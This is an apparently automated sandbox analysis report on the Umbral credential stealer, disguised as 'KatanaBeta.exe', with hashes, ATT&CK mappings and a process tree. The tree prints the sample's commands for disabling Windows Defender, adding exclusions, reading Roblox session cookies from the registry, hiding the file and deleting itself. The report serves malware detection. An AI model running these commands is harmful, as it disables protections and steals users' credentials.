umbral | a6691d55b146c79be7721277050c0f6c11130fa826cda7d78a4d529afefe3221

Analysis

max time kernel
147s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
17-08-2024 17:24

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General

Target

KatanaBeta.exe
Size

229KB
MD5

f6f744441dfded289e9f80124b42cd7b
SHA1

e097b009936023a9f7672bc1fb956ad45a07e9ad
SHA256

a6691d55b146c79be7721277050c0f6c11130fa826cda7d78a4d529afefe3221
SHA512

4cfec12b594cad710954dc25dee05b185c4917640d6ccd3778487a40ee73b0d08bc7cdd8787b2a9d331783d3de9d52535f8ed73b82a2de22331e4b81b49b1e6d
SSDEEP

6144:FloZM3fsXtioRkts/cnnK6cMl8Eru0ad1+t7mEl5Q77b8e1mCSni:HoZ1tlRk83Ml8Eru0ad1+t7mEl5QTQi

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2756-1-0x000002122A9C0000-0x000002122AA00000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4176	powershell.exe
1920	powershell.exe
4904	powershell.exe
5016	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	KatanaBeta.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2016	cmd.exe
3284	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1860	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3284	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2756	KatanaBeta.exe
4176	powershell.exe
4176	powershell.exe
1920	powershell.exe
1920	powershell.exe
4904	powershell.exe
4904	powershell.exe
1200	powershell.exe
1200	powershell.exe
5016	powershell.exe
5016	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2756	KatanaBeta.exe
Token: SeIncreaseQuotaPrivilege	4492	wmic.exe
Token: SeSecurityPrivilege	4492	wmic.exe
Token: SeTakeOwnershipPrivilege	4492	wmic.exe
Token: SeLoadDriverPrivilege	4492	wmic.exe
Token: SeSystemProfilePrivilege	4492	wmic.exe
Token: SeSystemtimePrivilege	4492	wmic.exe
Token: SeProfSingleProcessPrivilege	4492	wmic.exe
Token: SeIncBasePriorityPrivilege	4492	wmic.exe
Token: SeCreatePagefilePrivilege	4492	wmic.exe
Token: SeBackupPrivilege	4492	wmic.exe
Token: SeRestorePrivilege	4492	wmic.exe
Token: SeShutdownPrivilege	4492	wmic.exe
Token: SeDebugPrivilege	4492	wmic.exe
Token: SeSystemEnvironmentPrivilege	4492	wmic.exe
Token: SeRemoteShutdownPrivilege	4492	wmic.exe
Token: SeUndockPrivilege	4492	wmic.exe
Token: SeManageVolumePrivilege	4492	wmic.exe
Token: 33	4492	wmic.exe
Token: 34	4492	wmic.exe
Token: 35	4492	wmic.exe
Token: 36	4492	wmic.exe
Token: SeIncreaseQuotaPrivilege	4492	wmic.exe
Token: SeSecurityPrivilege	4492	wmic.exe
Token: SeTakeOwnershipPrivilege	4492	wmic.exe
Token: SeLoadDriverPrivilege	4492	wmic.exe
Token: SeSystemProfilePrivilege	4492	wmic.exe
Token: SeSystemtimePrivilege	4492	wmic.exe
Token: SeProfSingleProcessPrivilege	4492	wmic.exe
Token: SeIncBasePriorityPrivilege	4492	wmic.exe
Token: SeCreatePagefilePrivilege	4492	wmic.exe
Token: SeBackupPrivilege	4492	wmic.exe
Token: SeRestorePrivilege	4492	wmic.exe
Token: SeShutdownPrivilege	4492	wmic.exe
Token: SeDebugPrivilege	4492	wmic.exe
Token: SeSystemEnvironmentPrivilege	4492	wmic.exe
Token: SeRemoteShutdownPrivilege	4492	wmic.exe
Token: SeUndockPrivilege	4492	wmic.exe
Token: SeManageVolumePrivilege	4492	wmic.exe
Token: 33	4492	wmic.exe
Token: 34	4492	wmic.exe
Token: 35	4492	wmic.exe
Token: 36	4492	wmic.exe
Token: SeDebugPrivilege	4176	powershell.exe
Token: SeDebugPrivilege	1920	powershell.exe
Token: SeDebugPrivilege	4904	powershell.exe
Token: SeDebugPrivilege	1200	powershell.exe
Token: SeIncreaseQuotaPrivilege	580	wmic.exe
Token: SeSecurityPrivilege	580	wmic.exe
Token: SeTakeOwnershipPrivilege	580	wmic.exe
Token: SeLoadDriverPrivilege	580	wmic.exe
Token: SeSystemProfilePrivilege	580	wmic.exe
Token: SeSystemtimePrivilege	580	wmic.exe
Token: SeProfSingleProcessPrivilege	580	wmic.exe
Token: SeIncBasePriorityPrivilege	580	wmic.exe
Token: SeCreatePagefilePrivilege	580	wmic.exe
Token: SeBackupPrivilege	580	wmic.exe
Token: SeRestorePrivilege	580	wmic.exe
Token: SeShutdownPrivilege	580	wmic.exe
Token: SeDebugPrivilege	580	wmic.exe
Token: SeSystemEnvironmentPrivilege	580	wmic.exe
Token: SeRemoteShutdownPrivilege	580	wmic.exe
Token: SeUndockPrivilege	580	wmic.exe
Token: SeManageVolumePrivilege	580	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2756 wrote to memory of 4492	2756	KatanaBeta.exe	78
PID 2756 wrote to memory of 4492	2756	KatanaBeta.exe	78
PID 2756 wrote to memory of 4484	2756	KatanaBeta.exe	81
PID 2756 wrote to memory of 4484	2756	KatanaBeta.exe	81
PID 2756 wrote to memory of 4176	2756	KatanaBeta.exe	83
PID 2756 wrote to memory of 4176	2756	KatanaBeta.exe	83
PID 2756 wrote to memory of 1920	2756	KatanaBeta.exe	85
PID 2756 wrote to memory of 1920	2756	KatanaBeta.exe	85
PID 2756 wrote to memory of 4904	2756	KatanaBeta.exe	87
PID 2756 wrote to memory of 4904	2756	KatanaBeta.exe	87
PID 2756 wrote to memory of 1200	2756	KatanaBeta.exe	89
PID 2756 wrote to memory of 1200	2756	KatanaBeta.exe	89
PID 2756 wrote to memory of 580	2756	KatanaBeta.exe	91
PID 2756 wrote to memory of 580	2756	KatanaBeta.exe	91
PID 2756 wrote to memory of 720	2756	KatanaBeta.exe	93
PID 2756 wrote to memory of 720	2756	KatanaBeta.exe	93
PID 2756 wrote to memory of 4640	2756	KatanaBeta.exe	95
PID 2756 wrote to memory of 4640	2756	KatanaBeta.exe	95
PID 2756 wrote to memory of 5016	2756	KatanaBeta.exe	97
PID 2756 wrote to memory of 5016	2756	KatanaBeta.exe	97
PID 2756 wrote to memory of 1860	2756	KatanaBeta.exe	99
PID 2756 wrote to memory of 1860	2756	KatanaBeta.exe	99
PID 2756 wrote to memory of 2016	2756	KatanaBeta.exe	101
PID 2756 wrote to memory of 2016	2756	KatanaBeta.exe	101
PID 2016 wrote to memory of 3284	2016	cmd.exe	103
PID 2016 wrote to memory of 3284	2016	cmd.exe	103

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4484	attrib.exe

C:\Users\Admin\AppData\Local\Temp\KatanaBeta.exe
"C:\Users\Admin\AppData\Local\Temp\KatanaBeta.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2756
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4492
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\KatanaBeta.exe"
  2⤵
  - Views/modifies file attributes
  PID:4484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\KatanaBeta.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1200
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:580
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:720
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5016
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1860
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\KatanaBeta.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2016
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3284

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
1a9fa92a4f2e2ec9e244d43a6a4f8fb9

SHA1
9910190edfaccece1dfcc1d92e357772f5dae8f7

SHA256
0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

SHA512
5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
6490e5c0581c173062323b1c20cfd9ff

SHA1
1652893659f99b780fd9733243637eb7795f5212

SHA256
a552b6d7bebb1714f01a5f3d8b5493e1b369c93ee68c62256dfddcc7f3f4fe79

SHA512
fdb077b40b4371a74cb70ae74d28a4433399e5c4a69fe9a5652409a62c2435d3197da42808d5cb65e9b7ff35bc2e593ad70fa83581c7fd672d631b25f53d3c65

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7332074ae2b01262736b6fbd9e100dac

SHA1
22f992165065107cc9417fa4117240d84414a13c

SHA256
baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

SHA512
4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
cb2537b95d76b36f1110219bde127d2a

SHA1
b32ab5ea919207d25749d8af8b21e954615ddbc8

SHA256
b270e73c312010b0e028879f63897e95e4a1f0d87d4964a18d587160c7c4797c

SHA512
113b0ea81a3af8902a4c441f29a90b43146089688deda301b5e08c2366a297c464c527ffb5fb707a4270bcad8c72331b512a87301365d759036ea2222be8806b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qhu20tjg.nhr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2756-67-0x000002122C6E0000-0x000002122C6EA000-memory.dmp

Filesize
40KB

Download
memory/2756-33-0x000002122C820000-0x000002122C83E000-memory.dmp

Filesize
120KB

Download
memory/2756-87-0x00007FF8017B0000-0x00007FF802272000-memory.dmp

Filesize
10.8MB

Download
memory/2756-83-0x00007FF8017B0000-0x00007FF802272000-memory.dmp

Filesize
10.8MB

Download
memory/2756-2-0x00007FF8017B0000-0x00007FF802272000-memory.dmp

Filesize
10.8MB

Download
memory/2756-31-0x0000021245200000-0x0000021245276000-memory.dmp

Filesize
472KB

Download
memory/2756-32-0x0000021245280000-0x00000212452D0000-memory.dmp

Filesize
320KB

Download
memory/2756-82-0x00007FF8017B3000-0x00007FF8017B5000-memory.dmp

Filesize
8KB

Download
memory/2756-1-0x000002122A9C0000-0x000002122AA00000-memory.dmp

Filesize
256KB

Download
memory/2756-0-0x00007FF8017B3000-0x00007FF8017B5000-memory.dmp

Filesize
8KB

Download
memory/2756-68-0x0000021245180000-0x0000021245192000-memory.dmp

Filesize
72KB

Download
memory/4176-5-0x0000018D9A550000-0x0000018D9A572000-memory.dmp

Filesize
136KB

Download
memory/4176-4-0x00007FF8017B0000-0x00007FF802272000-memory.dmp

Filesize
10.8MB

Download
memory/4176-14-0x00007FF8017B0000-0x00007FF802272000-memory.dmp

Filesize
10.8MB

Download
memory/4176-3-0x00007FF8017B0000-0x00007FF802272000-memory.dmp

Filesize
10.8MB

Download
memory/4176-17-0x00007FF8017B0000-0x00007FF802272000-memory.dmp

Filesize
10.8MB

Download